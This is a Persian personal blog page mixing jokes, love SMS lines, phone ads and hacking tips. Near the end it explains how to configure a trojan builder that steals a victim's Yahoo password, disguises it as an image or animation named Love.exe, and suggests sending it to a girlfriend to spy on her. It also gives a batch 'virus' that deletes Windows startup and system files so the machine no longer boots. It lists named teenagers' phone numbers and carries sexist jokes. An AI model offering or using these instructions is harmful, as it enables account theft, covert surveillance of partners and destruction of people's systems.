۱-خبرگزاری

۲-تالار گفتگو

۳-بازیهای انلاین قهرمانی

http://www.bazinama.com

برد تیم پیروزی رو به همه کسانی که دوستار تیم پیروزی هستند تبریک میگویم

ادامه مطلب

ویژگی های بارز:(همش ماله دوربینشه از بس توپه)

۱-دوربین ۵ مگا پیکسلی

۲-دارای لنز سایبرشات

۳-حالت ماکرو(عکس در فاصله نزدی)

۴-فوکوس اتوماتیک

۵-دوربین فیلمبرداری (کیو وی جی ای)......مثل ان ۹۵ فیلم نمیگیره

۶-دارای فلش زنون(بروتو تاریکی مطلق عکس بگیر مثل روز)

۷-بلنگوی با پلی فونیک ۷۲ کاناله (ته کیفیت) ..........ولی بلند نیست

قیمت تقریبی ۳۶۰۰۰۰ تومن واقعا نسبت به کارایی می ارزه

نظر یادتون نره بای

ارایه ای از سامان سکرت

 ادامه مطلب ؟؟؟؟

ویژگی های بارز:

۱-دارای ۱۶ گیگا بایت فقط حافظه داخلی

۲-سه تا بلنگوی استریو ژلی فونیک ۶۴ کاناله

۳-بدنه کاملا استیل

۴-درب کشویی دوطرفه(مثل ان ۹۵)

۵-دارای دو عدد فلاش

۶-فوکوس اتوماتیک

۷-لنز کارل زایس

۸-حالت ماکرو

۹-....

۱۰-دیگه چی بگم این خودش ته گوشی دیگه 

بقیش در ادامه مطلب

فلا بای

شعری از خاجه نصردين رايانه دوست

حتما بخونيدش خيلی جالبه

اي خدا hard  دلم فرمت  مكن
فـيلد مـا را خالي از بركت مـكن
آپشن  غـم را خـدايا on  مـكـن
فايل  اشكم را خدايا run مكن
دیلیت كـن شاخه هـاي غصه را
سـردي و افـسـردگـي را، هـر سـه را
جامـپر شـادي بيا تا ست كنيم
سيستم انـدوه را ري سـت كنيم
نـام تـو پسورد درهـاي بهشت
آدرس اي – ميل سايت سرنوشت
اي خــدا روز ازل كـــد داشــتـي
موس بود اما مگر پد داشتي
كه چـنيـن طـرح تــري دي  مــي زدي
طرح خود بر روي سـي دي مي زدي
تـا نـيفـتد بـاگ در انـديشـه مــان
تـا كـه ويـروسـي نگـردد ريشـه مـان
اي خــدا از بـهــر مــا ايـمـن فـرسـت
بهـر دلـهاي پـر آتـش فـن فرست
اي خــدا حــرف دلـــم بـا كـي زنــم 
Help مي خـواهم كه F1 مي زنم

بچه ها خیلی وقت بود اینجا مطلبی ننوشته بودم یعنی اصلان یاااادم رفته بود که این وبلاگو دارم

ولی امروز همینجوری امدم و یه نگاهی بهش انداختم و نظراتتونو خوندم (ممنون از بچه های

که با نظراشون حسابی شرمندمون کردن ) و تصمیم گرفتم دوباره اینجا یه چیزای بنویسم

البته با اجازه شما بچه های ولنتاین >>> که تا روز و ولنتاین میشه هرچی پول دارید میبرید واسه

(مثلا)عشقتون کادو میخرید مخصوصا پسرای بیچاره که احساس میکنن به دوست دخترشون بدهکارن

ولی این دخترای شیتون خیلی کارشون درسته تا با یه پسری دوست میشن فرداش روز تولدشونه

نوبدت پسره هم که میشه میگن : بابا این لوس بازیا چیه ؟ خجالت نمیکشی ؟ تولد مال بچه هاست

اخه میدونی چیه این دخترا نیست جازبه زیادی دارند( اگه نیوتون فقط ۵ دقیقه تو چشمای این دخترا

نگاه میکرد معنی جازبه رو میفهمید تازه به جای علم دیگه می افتاد دنبال دخترا )

حالا بعضی از پسرا هم دیگه اینقدر دوست دختر داشتن حرفه ای شدن و بلدن چی کار کنن

یه جوری این دخترا رو پیچ میدن که دیگه با هیچ پیچگوشتیی باز نمیشن خلاصه هرچی

دختره سر کار میزارنووووو اره اره دیگه دخترا هم نباید ناراحت بشن از دست اینجور پسرا

چون این پسرای ساده همونا بودن که دخترا ....

اخ اخ دیگه زیادی نوشتم

ولی بلاخره باید ثابت بشه که پسرا باهوش ترند یا دخترا

دستانت را بگذار دور کمرم و لب هایت را بگذار روی لبم و از شیرینی وجودم بنوش.

 { از طرف نوشابه }

دل بهت دادم تا برام ناز کنی ****** دل ندادم تا برام جیگرکی باز کنی.   

 { از طرف خودم }

میخوام که با بوسه گل لباتو پرپر کنم ***** ان گلهای پرپرتو نسار رهبر کنم.      

{ از طرف یه خایه مال }

تا تو چماق میزنی کار من آخ کردن است ***** ای به فدای چوب تو این چه جور داغ کردن است 

{ از طرف آریوبرزن }

جوک و اس ام اس های باحال بزارین تا تو وبلاگ بزارم

سامان بزرگچنانی ۱۸ساله از  ۰۹۳۵۵۲۴۱۰۹۹

مصطفی تبریزیان ۱۸ ساله   ۰۹۳۵۳۷۵۴۳۱۸

مسعود عزیز ابادی ۱۹ ساله ۰۹۱۵۹۱۹۷۴۲۸

download Internet Explorer 7

ادامه مطلب کلید کن

براي دانلود كليك كنيد        

*********************************************************************

قالب عاشقونه

براي دانلود كليك كنيد

*********************************************************************

قالب Real Madrid

براي دانلود كليك كنيد

      

                                                 حمله کردن شیر به انسان

                                                     خورد کردن قوطی با ؟؟؟؟      

                              سوتین وای

                                کلیپ قیلون 

                              کلیپ شیخ

و گوئن استفانی و همسرش هم که در لاس وگاس بودن

آنجلينا جولی و براد پيت در لاس وگاس

 عكس باحال ميخواي بيا ادامه مطلب

يواش، آه، اوي، اوخ، فشار نده، درد داره، تف بزن، ليزش كن، آي، كاش قبل از عروسيمون ميگفتي، آخ، صبر كن، صبر كن، داره ميره، اوخ، بالاخره رفت، چه انگشتر تنگي برام خريدي

آدرس وب سايت یه قزوینی: دمرو، دمرو، دمرو، دات داد، نداد، به زور دات كن

يه تركه ميره خاستگاري دختره سيبيل داشت به دختره مي گه شما چرا سيبيل دارين دختره ميزنه زيره گريه تركه كه مي خواد دل داري بده مي گه مرد كه گريه نمي كنه!!!!!

حافظ قزوینی می فرماید:

ای که ک؟نت همچو بیتی از غزل من پی ک؟نت بودم از عزل

ای نوای ک؟ن تو چون ساز نی داغ ک؟نت ببینم تا به کی

قزوینیه با پسرش تو قبرستون میرفتن یه چیزیو بر میداره ماچ میکنه میزاره کنار

پسرش میگه نون بود قزوینیه میگه نه استخون ک؟ن بود

مردهای فرانسوی هم زن دارن هم معشوقه ولی زنشونو بیشتردوست دارند. مردهای امریکایی هم زن دارن هم معشوقه ولی معشوقشونوبیشتر دوست دارند. مردهای ایرانی هم زن دارن هم معشوقه ولی ننشونو بیشتر دوست دارن

قزوینیه عروسی میکنه تو کارت عروسیش مینویسه اوردن اطفال الزامیست

مردها مثل ....

مردها مثل «مخلوط كن» هستند

در هر خانه يكي از آنها هست ولي نميدانيد به چه درد ميخورد

مردها مثل «آگهي بازرگاني» هستند

حتي يك كلمه از چيزهائي را كه ميگويند نميتوان باور كرد

مردها مثل «كامپيوتر» هستند

كاربري‌شان سخت است و هرگز حافظه‌اي قوي ندارند

مردها مثل «سيمان» هستند

وقتي جائي پهنشان ميكني بايد با كلنگ آنها را از جا بكني

مردها مثل «طالع بيني مجلات» هستند

هميشه به شما ميگويند كه چه بكنيد و معمولاً اشتباه مي‌گويند

مردها مثل «جاي پارك» هستند

خوب‌هايشان قبلا" اشغال شده و آنهائي كه باقي مانده‌اند يا كوچك هستند يا جلوي درب منزل مردم

مردها مثل «پاپ كورن» (ذرت بو داده) هستند

بامزه هستند ولي جاي غذا را نمي‌گيرند

مردها مثل «باران بهاري» هستند

هيچوقت نميدانيد كي مي‌آيند، چقدر ادامه دارد و كي قطع ميشود

مردها مثل «پيكان دست دوم» هستند

ارزان هستند و غير قابل اطمينان

مردها مثل «موز» هستند

هرچه پيرتر ميشوند وارفته‌تر ميشوند

مردها مثل «نوزاد» هستند

در اولين نگاه شيرين و با مزه هستند اما خيلي زود از تميز كردن و مراقبت از آنها خسته مي‌شويد

ادامه مطلب حال كن

جيگرم! نفسم! عشقم! نازم! زندگيم !خوشگلم! ماهم! فدات بشم! بميرم برات الهي !!! بهتره ديگه از کنار آينه برم کنار

كوچولو ، موچولو ، لولو ، مولو ، هلو ، نونو ؛ اين پيغام صرفا براي غنچه كردن لبهاي شماست و فاقد هرگونه ارزش قانوني ديگر مي‌باش

با تمام وجود فرياد بزن: آتش زدي بر خرمنم.... واي خر منم.. واي خر منم.... واي خر منم...... واي خر منم....... واي خر منم.......... . . . . . بابا فهميدم...اينقدر نگو!!!

به خدا حيفه توي اين مملكت بموني، كسي قدر تو رو نمي‌دونه، اگه بري هند اونجا تو رو مي‌پرستن!

ديشب تو را ز مستي تشبيه به ماه کردم / خاک تو سرم تو زشتي من اشتباه کردم

اميدوارم در اين سال جاري پله هاي ترقي را يکي يکي طي بکشيد

پاک کردن  CMOS  و پاک کردن رمز biose  و پاک کردن رمز مادربورد :

 تا حالا شده بخواين رمز setup مادربورد رو پاک کنيد.مثل ميخواين رمز administrator رو پاک کنيد.بعد بايد با ديسکت بوت بشين.خوب براي اين کار بايد يه setup دسترسي داشته باشيد.با اين روش خيلي ساده ميشه CMOSE رو پاک کرد.اول اين فايل رو دانلود کنيد.بعد از دانلود اجراش کنيد.همين.حافظه CMOSE پاک شد.مثه اينه که باطري مادربورد رو در اري و بزاري سر جاش.

فرق پسرا با دخترا:

پسرها:

 با ماشين ميرن به بانک، پارک ميکنن، ميرن دم دستگاه عابر بانک.کارت رو داخل دستگاه ميذارن.کد رمز رو ميزنن، مبلغ درخواستي رو وارد ميکنن.پول و کارت رو ميگيرن و ميرن.

دخترها:
با ماشين ميرن دم بانک.در آينه آرايششون رو چک ميکنن.به خودشون عطر ميزنن.احتمالاً موهاشون رو هم چک ميکنن.در پارک کردن ماشين مشکل پيدا ميکنن.در پارک کردن ماشين خيلي مشکل پيدا ميکنن.بلاخره ماشين رو پارک ميکنن.توي کيفشون دنبال کارتشون ميگردن.کارت رو داخل دستگاه ميذارن، کارت توسط ماشين پذيرفته نميشه.کارت تلفن رو ميندازن توي کيفشون.دنبال کارت عابربانکشون ميگردن.کارت رو وارد دستگاه ميکنن.توي کيفشون دنبال تيکه کاغذي که کد رمز رو روش ياداشت کردن ميگردن.کد رمز رو وارد ميکنن.20 دقيقه قسمت راهنماي دستگاه رو ميخونن
کنسل ميکنن.دوباره کد رمز رو ميزنن.کنسل ميکنن.دوست پسرشون رو صدا ميزنن که کد صحيح رو براشون وارد کنه.مبلغ درخواستي رو ميزنن.دستگاه ارور (خطا) ميده.مبلغ بيشتري رو درخواست ميکنن.دستگاه ارور (خطا) ميده.بيشترين مبلغ ممکن در خواست ميکنن.انگشتاشون رو براي شانس رو هم ميذارن.پول رو ميگيرن.برميگردن به ماشين.آرايششون رو توي آينه عقب چک ميکنن.توي کيفشون دنبال سويچ ماشين ميگردن.استارت ميزنن.پنجاه متر ميرن جلو.ماشين رو نگه ميدارن.دوباره برميگردن جلوي بانک.از ماشين پياده ميشن.کارتشون رو از دستگاه عابر بانک بر ميدارن. (آخه حواس نمي‌ذاري براي آدم)سوار ماشين ميشن.کارت رو پرت ميکنن روي صندلي کنار راننده.آرايششون رو توي آينه چک ميکنن.احتمالاً يه نگاهي هم به موهاشون ميندازن.مندازن توي خيابون اشتباه.برميگردن.ميندازن توي خيابون درست.پنج کيلومتر ميرن جلو.ترمز دستي رو آزاد ميکنن (ميگم چرا انقدر يواش ميره )

(اين مطلب رو من ننوشتم.گفته باشم)

نفوذ به ويندوز xp و پاک کردن رمز administrator :

آقا ميخوام يه حال با حال بهتون بدم.ميخوام يادتون بدم چطوري رمز administrator ويندوز xp , nt ,2000 رو hack کنيد.چون يه کم زياد بود مجبور شدم تو صفحه جديد بنويسم.روي عنوان کليک کنيد...حالش رو هم نداشتين روي عنوان کليک کنيد,هر گورستوني که ميخاين کليک کنيد...5 خط متن رو ورداشتم لينک کردم...(بعد ميگن چرا فحش ميدي؟

send y! /Send computer name /Disable Y!/Auto Start up/ فقط همينا کافيه.قسمت بعدش Fake error message لازم نيس.حالا اگرم خاستي ميتوني استفاده کني.کارش اينه که وقتي طرف اين برنامه رو اجرا کرد.يه پيام به دلخاه شما بهش نشون ميده.گفتم لازم نيست.قسمت بعد Send to my yahoo id بايد ايدي خودتو بزني تا پسوردش بياد روي اي ديت.اي دي بدون @yahoo.com مثلا از من ميشه masood2004tripod همين.قسمت بعد Open back door لازم نيس.Binder هم لازم نيس.حالا انتخاب icon .ميتوني يه ايکون واسه فايلت بزاري که طرف گول بخوره و اجراش کنه.مثلا ايکونش رو بزار فلش فايل تا فک کنه يه انيميشني چيزيه.يا بزار Jpg تا فک کنه عکسه.قسمت بعد Fail name بهترينش همين .EXE هستش.اسمشو مثلا بزار Love.exe اين EXE هتما بايد تهش باشه ها.حالا Make Server رو بزن.تموم شد.فايلت همينجا ساخته ميشه.يعني هرجا که برنامه باشه همونجا هم فايلش ساخته ميشه.حالا بايد توکل کني به خدا و اين فايل رو واسه دوست دخترت بفرستي که شايد پسوردش بياد و تو بري توي ليست و ايميلاش ببيني چيکارس؟؟؟آيا غيره تو به 600 نفره ديگه هم حرف ميزنه يا نه.

پدرشو در بيار بچه پر رو رو:

بوت ياهو مسنجر 8 و نسخه هاي قبلي:

اقا جان چت و اينا ديگه جزو اموره روز مره شده.بطوريکه در رواياته نقل شده اومده کارت اينترنت از نون شب هم واجب تره.حالا خدا رو خوش مياد بري چت کني بعد 2 زار چيز بلد نباشي اونوقت جلو طرفت کم بياري؟خوب پس باز هم من بر آن شدم که اين سري مطلب رو واسه پدر در بياري طرف بنويسم.پس بخونيدو دعا کنيد به جونه من که اينقد هواتو دارم.نميخام پس فردا جلو در و همسايه بگن اين هيچي حاليش نيس و از اين حرفاي هش من نو شي.يه من دو زار.اين سري دوتا مطلب ميگم.سوميش رو ميزارم سري بعد که اپ ديت کردم.چون خيلي باحاله.بدست اوردنه پس ايديه.تو کفش بمون تا بهت بگم.

جديدترين جمله عاشقانه:به اندازه يك باك بنزين دوستت دارم

سفر از هر نقطه ايران فقط با 100 ليتر بنزين از كي نا حالا از وقتي كه احمدي نژاد اومده...

از جوجه تيغي كوچولو پرسيدم بزرگ ترين آرزوت چيه؟ معصومانه نگاهم كرد و گفت: بغلم مي كني؟

روي يه برگ نوشتم كه دوستت دارم ولي تو مثل بز خورديش

مژده، مژده، آلبوم جديد اندي به بازار آمد، نوبت خوشگلا تموم شده، حالا ديگه تو هم بايد برقصي

دوست دارم تو سيب باشي و من چاقو پوستتو بکنم مي دوني چرا؟؟؟ چون چاقو بخواد پوست سيب رو بکنه بايد همش دورش بگرده

اگه من و تو دوتا برگ باشيم، هنگام خزان من زودتر از تو ميشکنم تا زماني که مي‌افتي در آغوشم بگيرمت

يکي بود يکي نبود / زير اين سقف کبود /يه غريب آشنا /دل و جونمو ربود / اينجوري نگام نکن /گل ياس مهربون /اون غريبه خودتي هميشه با من بمون

عميق ترين درد زندگي مردن نيست ،بلكه نداشتن كسي است كه الفباي دوست داشتن را برايت تكرار كند وتو از او رسم محبت بياموزي

ارزو دارم که قشنگترين گل سرخ دنيا را بچينم و بر برگهاي آن قطره ايي از خ ون خود را بچکانم و انرا به محبوبم هديه کنم تا زماني که گل را ميبويد نفسش خون مرا گرم کند

اگه كسي ديوونت بود ، بازيش نده اگه عاشقت بود ، دوستش داشته باش اگه دوست داشت ، بهش علاقه نشون بده اگه بهت علاقه داشت ، فقط بهش لبخند بزن اينطوري هميشه يه پله ازش عقبتري اگه يه روزي خسته بشه و يه پله بيادعقب تازه ميشه مثل تو

دستتو بكن تو موهات يكيشو بكن حالا اون يكيشو به يه دنيا نميدم

خدا به ادم دوتا دست دو تا پا دوتا چشم دوتا گوش داد ولي چرا يه قلب داد اخه مي خواست تو دنيال دوميش باشي

زمستون بهونس برف دلش واسه ابر تنگ ميشه پاييز بهونس برگ دلش واسه زمين تنگ ميشه حرفاي من بهونس دلم واست تنگ شده

شب را دوست دارم بخاطر تاريکي.... تاريکي را دوست دارم بخاطر تنهايي... تنهايي را دوست دارم بخاطر فکر کردن ... فکر کردن را دوست دارم بخاطر تو... تو را دوست دارم بخاطر چشمانت... چشمانت را دوست دارم بخاطر قطرات اشکي که ميدانم بر سر مزارم خواهي ريخت

اسمت رو گذاشتم گل ترسيدم پژمرده بشي . گذاشتم خورشيد ترسيدم غروب کني . گذاشتم جونم که اگه خدايي نکرده رفتي منم برم
شنيدم آنقدر مهم شدي که وقتي ميري دستشويي مگسها به احترامت بلند ميشن

از فردا دخترايي که مانتوي تنگ.شلوار کوتاه.موي بلند.روي سياه.ناخن دراز.واهو واهو واه

مهم نيست که قشنگ باشي قشنگ اينه که مهم باشي حتي براي يه نفر

براي عشق تمنا كن ولي خار نشو. براي عشق قبول كن ولي غرورتت را از دست نده . براي عشق گريه كن ولي به كسي نگو. براي عشق مثل شمع بسوز ولي نگذار پروانه ببينه. براي عشق پيمان ببند ولي پيمان نشكن . براي عشق جون خودتو بده ولي جون كسي رو نگير . براي عشق وصال كن ولي فرار نكن . براي عشق زندگي كن ولي عاشقونه زندگي كن . براي عشق بمير ولي كسي رو نكش . براي عشق خودت باش ولي خوب باش

جوادترین سرگرمی: چت قلیون . جوادترین خواننده غیر مجاز: حسن شماعی زاده و داوود بهبودی . جوادترین گزارشگر: جواد خیابانی . جوادترین لاستیک: مارشال دور سفید. جوادترین نوشیدنی: خاک شیر و یخ در بهشت . جوادترین مانتو: خفاشی. جوادترین تکیه کلام : جون تو سالاره . جوادترین خواننده خارجی: جنیفر لوپز .

معلم از بچه ها پرسید: در اینده می خواهید چکاره بشید؟ احمد: ناخدا .رامین : من می خوام دکتر بشم .سارا : من می خوام یه مادر خوب بشم . رضا: من می خوام به سارا کمک کنم

ژاپنیه 15 سال به یه مورچه یاد می ده با چوب غذا بخوره مورچه رو می یاره تو میدون که به مردم نشون بده همه دور تا دور وایساده بودن نگاه می کردن از قضا یه ترکه از اونجا رد می شه می بینه همه عقب وایسادن مورچم وسطه می ره با پا موچه رو له می کنه می گه: اخه مورچم ترس داره؟!!!

دوتا شیره ای داشتن با هم دردل می کردن و از مشکلات لاینحلشون می نالیدن اولی گفت: اشمال اقا راشتشو بگو تو شالی چند دفعه می ری مشتراح؟ اسمال اقا گفت: راستشو بخوای دروغ شرا........ بهار یه دفعه .......تابشتون یه دفعه ........پاییز یه دفعه..........زمشتونم یه دفعه ........اولی گفت: خوب پدر شگ یه دفعه بگو اشهال دارم

فرق شوهر کردن با سگ نگه داشتن چیه؟ سگ گند به فرشت می زنه ولی مرد به زندگیت

اگه دوست داری برو ادامه مطلب

براي اين کار دوروش هست که اولي با دست ، دومي با نرم افزار.

ابتدا يک پروفايل بسازيد.بعدش در قسمت My yahoo  با همان پروفايل طرف را Add کنيد وقتي  اين کار را

 انجام دهيدکه طرف آفلاين است بعد تا وقتي که طرف  Accept ياDeny  رو نزده است بايد برويد و پروفايلي

 راکه ساخته ايد Delete کنيد. روش دوم با نرم افزار Boddy Manager است.

ادامه مطلب بری بد نیست

شماره خطا هاي مودم در هنگام بر قراري ارتباط با اينترنت همراه با دليل بروز خطا:

ابتدا به Start برويد و در Run تايپ کنيد Regedit و Enter بزنيد.

روی ادامه مطلب کلید کن

ادامه مطلب حالش ببر

ساخت ويروس(restart) قصد داريم ترفندي خطرناک (!) را به شما معرفي کنيم که با استفاده از آن مي توانيد بدون نياز به نرم افزار خاصي و تنها با استفاده از Notepad ويندوز ويروس خطرناکي بسازيد. با اجراي اين ويروس ، کامپيوتر مورد نظر Reset شده و ديگر ويندوز آن بالا نميايد! لازم به ذکر است که اين ترفند تنها جنبه آموزشي داشته و هر گونه استفاده نابجا از آن به عهده خود فرد ميباشد. ابتدا Notepad ويندوز را باز کنيد. سپس اين عبارت زير را در داخلش کپي کنيد: del autoexec.bat del config.sys cd winnt del system.ini del win.ini سپس فايل رو با پسوند Bat. ذخيره کنيد. ساخت ويروس(اشغال فضاي كارت گرافيك) کارش اينه که فضاي کارت گرافيک رو پر ميکنه و ديگه هيچ بازي روي کامپيوتر اجرا نميشه و حالا دستور ساخت: اين عبارات را در Notepad تايپ کنيد: edame matlab click kon